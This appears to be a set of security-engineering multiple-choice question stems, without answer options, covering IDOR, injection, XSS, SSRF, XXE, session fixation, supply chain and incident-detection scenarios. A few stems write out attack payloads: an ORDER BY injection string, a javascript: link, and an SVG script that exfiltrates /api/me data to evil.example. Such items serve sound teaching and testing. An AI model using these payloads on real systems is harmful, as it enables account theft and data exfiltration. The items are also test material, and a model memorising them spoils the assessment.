MCQ-4A support agent signed in to tenant A calls GET /orders/8842. The handler runs SELECT * FROM orders WHERE id = 8842 against the shared orders table, the row belongs to tenant B, and the API returns it with HTTP 200. The session is valid and the agent holds the support role. Which change removes the cross-tenant read?⌄
MCQ-25A pentest finding reports IDOR on `GET /api/v1/invoices/{id}`: any authenticated user can read any tenant's invoice. The fix adds a `tenant_id` predicate to the handler and is deployed to the `api` deployment. Retest against `api`: a cross-tenant id returns 404, the caller's own id returns 200. Production also runs `api-legacy`, a second deployment of the same service behind the same load balancer, which takes 5% of traffic and still runs the pre-fix image. What should the engineer do before closing the finding?⌄
MCQ-1A CI gate fails any build whose SAST scan reports a finding tagged to the 2021 OWASP Top 10. A new service scans clean and ships. A pentest then shows any authenticated user can read other tenants' invoices by changing the invoice ID in the URL. Which diagnosis of the miss is correct?⌄
MCQ-17A payments team runs a DAST scan against a staging build before each release. The scanner crawls the public catalog, logs in with a seeded test account, and reports zero findings. The same release ships a checkout whose final step is confirmed by an asynchronous callback from the payment provider, and an admin console that answers only from inside the corporate VPN. Which statement about the clean report is correct?⌄
MCQ-8A Java service on PostgreSQL builds its order-list query by concatenating the client's `sort` parameter into the SQL text; `status` and `customer_id` are bound with `PreparedStatement.setString` and `setInt`. A tester sends `sort=CASE WHEN 1=1 THEN total ELSE id END` and the row order flips, then sends the same payload with `1=2` and it flips back. The payload contains no quote, semicolon, parenthesis or comment marker. Which change closes this injection point?⌄
MCQ-16A Java 17 service handles `GET /orders?sort=created_at`. The handler builds its query with `String.format("SELECT * FROM orders ORDER BY %s", field)`, where `field` comes from the request. Before formatting, it checks `allowedColumns.contains(field)`; `allowedColumns` is a `Set<String>` populated at startup from the `sort_columns` table. The nightly SAST scan on `main` reports this line as a critical SQL injection, and a manual review confirms the deployed endpoint cannot be injected. Which explanation accounts for the scan result?⌄
MCQ-9A profile page renders the user's saved website as `<a href="{{website}}">Visit site</a>`, and the template engine HTML-escapes every `{{ }}` substitution. A user saves `javascript:alert(document.domain)` as their website. The rendered markup is `<a href="javascript:alert(document.domain)">Visit site</a>`, and clicking the link runs the script in the page's origin. Which change closes this path?⌄
MCQ-21An image-hosting app runs on app.example.com (Rails 7 behind nginx). Uploads are written to /var/app/public/uploads/ under the client-supplied filename, and nginx serves that directory directly; its mime.types maps .svg to image/svg+xml. Validation allows png, jpg, gif, svg and pdf up to 5 MB, and the product requires SVG logos plus inline rendering of every uploaded image in the gallery. A tester uploads logo.svg containing `<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('/api/me').then(r=>r.text()).then(t=>fetch('https://evil.example/?d='+btoa(t)))</script></svg>`. A support agent opens https://app.example.com/uploads/logo.svg from a ticket and the script runs with the agent's session cookie. Which change removes this risk while keeping the required behaviour?⌄
MCQ-11A Node.js 20 service uses express-session 1.18 with a Redis store and `cookie: { httpOnly: true, secure: true, sameSite: 'lax' }`; no `maxAge` is set. The login page writes a CSRF token into the session, so an anonymous session exists before authentication. A tester loads `/login`, records `connect.sid=s%3A8f2…`, submits valid credentials, and the 302 to `/account` returns the same `connect.sid` value. In Redis, `TTL sess:8f2…` returns -1. A second client that sets the recorded cookie by hand reaches `/account` and sees the first user's data. Which change closes this finding?⌄
MCQ-15A state-changing POST endpoint authenticates with a session cookie set to SameSite=None, because a required payment step runs in a sandboxed iframe on a partner's site and must carry the session. Those legitimate POSTs are cross-site and arrive with Origin: null. Which control most directly prevents a forged cross-site POST while keeping the payment step working?⌄
MCQ-20A payments service runs 30 pods on Kubernetes and reads its database password from an environment variable populated from a Kubernetes Secret. Compliance requires the password to rotate every 24 hours, and the database invalidates the old password the moment the new one is set. After each rotation, pods keep presenting the stale password until they are restarted, and the rolling restart takes about 12 minutes, during which roughly a third of requests fail with authentication errors. Which change removes the failure window?⌄
MCQ-7A breached service's `users` table was dumped. Every user who chose the same password has a byte-identical `password_hash`, and attackers recovered 40% of the 2 million hashes in six hours on one GPU. The column is written by a single `hashlib.sha256(password.encode()).hexdigest()` call (Python 3). Which change removes both weaknesses?⌄
MCQ-3A Java service reads untrusted bytes from a message queue with `ObjectInputStream` and no `ObjectInputFilter`. Fuzzed payloads reliably exhaust the heap and crash the worker, but none has spawned a process. Which condition must hold for the same deserialization path to escalate from denial of service to code execution?⌄
MCQ-19An image-fetch service takes a user-supplied URL, resolves the hostname, rejects the request if the resolved address falls in 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 or 169.254.0.0/16, then hands the original URL to an HTTP client that resolves the hostname again and follows up to 5 redirects. The product must keep accepting arbitrary user-supplied hosts. A request for http://attacker.test/photo.jpg returned the instance metadata document; the fetch log shows one request, no redirects, and the test host's 1-second DNS TTL returned 203.0.113.10 on the first lookup and 169.254.169.254 on the second. Which change stops this fetch?⌄
MCQ-2An application fetches arbitrary user-supplied webhook URLs over HTTP/HTTPS. Attackers can attempt to target internal network endpoints and cloud metadata services. Which architectural and network design pattern provides the most robust mitigation against Server-Side Request Forgery (SSRF) in this scenario?⌄
MCQ-24An ingestion service parses untrusted XML uploads with a SAX parser and returns extracted fields. The team already validates each document against an element allow-list, yet a penetration test still reads /etc/passwd through an entity. Which change most directly prevents XML External Entity injection here, and why does it hold where the element allow-list does not?⌄
MCQ-5A chart's `values.yaml` defines `config.logLevel: info`, `config.retries: 3`, and `config.allowedHosts: [api.internal]`. A release is deployed with `helm upgrade --install api ./chart -f values-base.yaml -f values-prod.yaml --set config.retries=5`. `values-base.yaml` sets `config.logLevel: debug`; `values-prod.yaml` sets `config.logLevel: warn` and `config.allowedHosts: [api.prod.internal]`. What does the rendered `config` map contain?⌄
MCQ-18A payments service builds from a lockfile that pins all 412 direct and transitive packages. CI runs an SCA scanner that matches those pinned versions against a public advisory database; it reports 0 findings and the build passes. Two weeks later an incident traces to a malicious patch release from a package whose maintainer account was taken over. The build had pulled that release in because one dependency was declared as `^2.1.0` and the lockfile was regenerated during a routine dependency bump. What did the scanner's clean result establish?⌄
MCQ-6A release job builds the container image `api:2.14.0`, runs Syft over it to produce `sbom.cdx.json` (412 components), and pushes both to the registry. The image is pushed unsigned, and the SBOM is uploaded as a separate OCI artifact. A reviewer approves the release because every component in the SBOM matches the internal allowlist. Which statement best describes what that approval actually establishes?⌄
MCQ-12A fleet update ships a signed artifact. The postmortem records four facts: the artifact bundled a library with a known CVE, the signing key was rotated the following week, the build ran on a contractor's CI host, and devices still on the previous firmware rejected the update. Which claim did the signature check actually support at install time?⌄
MCQ-13A retailer centralizes auth and order-service logs into a SIEM with 90-day retention; the pipeline reports zero dropped events and p99 ingest lag of 4 seconds. A session-anomaly rule that correlates auth and order events fires 214 times during a nine-day window in which an attacker places 300 fraudulent orders. All 214 alerts route to a shared channel with no named owner; median time to first human view is three days, and 92% are closed 'no action' without investigation. Which diagnosis does the evidence support?⌄
MCQ-22A coupon service runs on 8 pods behind a load balancer. Two requests for the same coupon both read `redeemed = false` and both commit `redeemed = true`. Pods are occasionally paused for seconds by GC. Which change makes the second redemption fail?⌄
MCQ-10A payments API enforces a $10,000 per-transfer cap, MFA on every transfer, IBAN checksum validation, and per-request logging with the sender ID. Over six hours, 4,200 accounts each sent $9,900 to 300 recipient accounts created in the previous 48 hours, moving $41.6M. Every request passed every check, and the 4,200 accounts came from 300 residential IPs. Which control would have stopped the transfers?⌄
MCQ-14A payments service authorizes every privileged request through a policy decision point (PDP) with a 100 ms client deadline. The PDP client wraps calls in a circuit breaker: after 5 consecutive deadline-exceeded errors it opens for 30 s, and while open the middleware returns the last cached decision for that subject. Cache entries are written on each successful PDP call and expire 10 minutes after they are written. A control-plane deploy pushes PDP p99 to 900 ms. At 12:00:00 a user's admin role is revoked in the PDP. At 12:02:00 the breaker opens. At 12:03:00 that user sends a privileged request. What does the middleware return?⌄
MCQ-23A checkout API writes orders to Postgres; each POST /orders carries an Idempotency-Key header. During a primary failover the connection pool (max 20) is fully checked out and requests queue for a connection: p99 on POST /orders goes from 40 ms to 3.2 s, and 12% of requests fail after the INSERT but before COMMIT. The mobile SDK retries any non-2xx response three times with no delay, and honors Retry-After when it is present. What should the API return for those failures?⌄